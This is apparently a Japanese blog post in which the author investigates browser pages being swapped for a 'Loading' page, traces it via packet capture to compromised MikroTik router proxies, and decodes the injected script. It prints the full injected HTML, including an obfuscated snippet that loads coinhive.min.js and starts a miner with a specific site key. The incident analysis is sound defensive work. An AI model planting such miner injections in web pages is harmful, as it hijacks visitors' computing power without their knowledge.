はじめに
ツッコミどころの多い記事かもしれませんが間違ってるところがあれば優しく教えてください。
8月22日
とあるブログ記事を読んでいたところ、下のスクリーンショットのような読み込み画面とavastによるwebシールドの警告が出てきました。どうやらcoinhiveをブロックしているらしく、ああたまにあるやつだなと思い特に何もしませんでした。しかし、そのあとitmediaや(AT)BIOS、はてなブログにアクセスした際に同様の警告が出たため、流石にこれはおかしいぞと思い始めます。JavaもFlashも無効にしてるし機能拡張もAdBlockしか入れてない、怪しいプロキシを登録しているわけでもない・・・、と一通りチェックした後、とりあえず現状保存のためディスクをバックアップし、システムをavastのフルスキャンにかけて寝ました。
8月24日
模索
avastのフルスキャンで発見されたものは以前インストールしたaircrackだけでした。節子それマルウェアやない。とりあえず利用していたMacは使わないことにして、予備のWindows機で情報を収集することにしました。そしたらなんと同様の画面(Loadingという文字とgifアニメーション)が表示されます。ネットワークを介して感染が広がったのかと思いこれには流石にびっくりしました。
さらにwindowsにインストールされていたavastはwebシールドが起動しなかったのか普通にコンテンツを読み込んでいました。その時devtoolsで取得したhtmlが以下になります
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Loading</title> <style type="text/css"> body{font-family: Verdana, Geneva, sans-serif;font-size: 11px;}img{border: none}img:hover{opacity: 0.8;}h1{font-size: 1.7em;display: inline;margin-bottom: 10px;}fieldset{margin-top: 20px;background: #fff;padding: 20px;border: 1px solid #c1c1c1;}#container{width: 70%;margin: 10% auto;}#box{background-color: #fff; -moz-border-radius: 7px; -webkit-border-radius: 7px; border: 1px solid #c1c1c1; padding: 30px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f3f3f3'); /* for IE */background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3)); /* for webkit browsers */background: -moz-linear-gradient(top, #fff, #f3f3f3); /* for firefox 3.6+ */}.floater{float: left; margin-right: 10px;}.floater label{display: block; text-align: center;}#login{margin: 2em 0 4em 0;}#login h2{font-weight: normal; font-size: 14px; margin: 0 0 0.5em 1em;}#login td{padding: 0 4px 0 0;}#login td.label{text-align: right;}#login td.toolbar{padding: 0 0 0 1em; vertical-align: top;}#login ul.toolbar{margin: 0;}#login input{margin: 2px; padding: 2px; border: 1px solid #888; box-shadow: 1px 1px 3px rgba(0,0,0,0.3); -webkit-box-shadow: 1px 1px 3px rgba(0,0,0,0.3); -moz-box-shadow: 1px 1px 3px rgba(0,0,0,0.3);}#error{display:none; color:red; padding: 1em 0 0 0;}ul.toolbar{font-size: 11px; text-align: left; list-style-type: none; padding: 0; margin: 2px 0 4px 2px;}ul.toolbar li{float: left; vertical-align: middle;}ul.toolbar a{float: none; display: block; margin: 2px 4px 2px 0; padding: 5px; background: #ddd; border: 1px solid #888; border-radius: 3px; -moz-border-radius: 3px; box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset, /* top gradient */1px 1px 2px rgba(0,0,0,0.2); /* shadow */ -webkit-box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); -moz-box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); color: #000; text-decoration: none; text-align: center; white-space: nowrap; cursor: inherit; min-width: 4em; -webkit-transition: background 0.2s linear, box-shadow 0.2s ease-out; -moz-transition: background 0.2s linear, box-shadow 0.2s ease-out;}ul.toolbar a:hover{background: #eee;}ul.toolbar a:active{background: #aaa; box-shadow: 1px 1px 2px #999 inset; -webkit-box-shadow: 1px 1px 2px #999 inset; -moz-box-shadow: 1px 1px 2px #999 inset;} </style> </head> <body> <h1>Loading <img src="data:image/gif;base64,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" /></h1> <script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> var _0x7e51=["\x7A\x38\x70\x6A\x37\x4C\x69\x64\x6E\x74\x38\x6D\x58\x50\x6E\x66\x65\x65\x44\x30\x42\x4E\x52\x77\x55\x44\x49\x36\x79\x49\x63\x58","\x73\x74\x61\x72\x74"];var miner= new CoinHive.Anonymous(_0x7e51[0],{throttle:0.2});miner[_0x7e51[1]]() </script> </body> </html>
やたら長いように見えますが、ほとんどはCSSとgifで占められており、本質的な部分は以下の部分だけです。
<script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> var _0x7e51=["\x7A\x38\x70\x6A\x37\x4C\x69\x64\x6E\x74\x38\x6D\x58\x50\x6E\x66\x65\x65\x44\x30\x42\x4E\x52\x77\x55\x44\x49\x36\x79\x49\x63\x58","\x73\x74\x61\x72\x74"];var miner= new CoinHive.Anonymous(_0x7e51[0],{throttle:0.2});miner[_0x7e51[1]]() </script>
_0x7e51配列の中身をascii文字に変換すると、
var _0x7e51 = ['z8pj7Lidnt8mXPnfeeD0BNRwUDI6yIcX', 'start']
coinhiveのkeyと関数名をエンコードしていたようです。投げ込まれたhtmlはcoinhiveのスクリプトを読み込み起動するだけで、他のコンテンツをダウンロードするといったことはしていません。若干安心したもののやはり不安だったためwindows機もavastでフルスキャンしました。すると・・・
デデドン(絶望)
上のツイートはavastが検出したファイルをvirustotalでスキャンした結果です。真っ赤っかです。完全にやられてますありがとうございました。
[上図. 技術力に自信がないため急に弱腰になるクソヒツジ]
avastが検出したファイルを展開し、中身を見てみるとJavaScriptのソースコードでした。coinhiveという文字列がそこかしこに書いてあったので、マイニングマルウェアの本体かと思いvirustotalにアップロードしてみると、結果は「coinhive.min.js」でした。ツイートをしたときは焦っていた気づかなかったのですが、このgzはchromeのキャッシュが保存されるディレクトリで検知されたもので、先ほどアクセスした際に読み込んだcoinhive.min.jsが保存されたというだけでした。お騒がせしました。
現象の整理
・Mac, Windows, iOSで悪性htmlが返ってくる現象を確認
・ブラウザはSafari, Chromeで確認
・普段から利用している多くのwebページで現象が確認
・毎回発生するわけではない。5〜10アクセス毎に1回ほどの割合で発生
・自宅のルータをしばらく使ってなかったものに交換しても同様
・自宅のルータを介さずに直接マンションの共用ルータに繋いでも同様
・httpで接続した際に発生する場合がほとんど(httpsだからと言って生じない訳ではない)
・特徴的な文字列(_0x7e51やcoinhiveのkeyなど)は毎回固定。
・↑をggってもそれらしいものはヒットしなかった。
予測
上の現象から、多分自宅のデバイスがマルウェアに感染している訳ではないと思います。インターネット側の機器に原因があるか、中間者攻撃されてるかなどの予測がつくので、パケットキャプチャして中身を分析してみます。
パケットを覗く
とあるサイトにアクセスした際のhttpパケットをキャプチャして、正常なレスポンスと異常なレスポンスを比較します。
異常系のhttpヘッダには特徴的な文字列が発見できました。それは、「Server: Mikrotik HttpProxy」の部分です。このプロキシサーバが何かしらの悪さをしているかもしれないと思い、検索を掛けたところ、多数の記事がヒットしました。
www.trustwave.com
どうやらMikroTikルータに感染するcryptojackが世界的に流行しているようです。2番目の埋め込みツイートでは私が発見したのと同じ日に特徴的な文字列(_0x7e51やcoinhiveのkey)に関する報告が上がっています。ggっても出てこなかったのは、検索エンジンに登録される前だったからでした。(今ならこのツイートが検索でヒットします)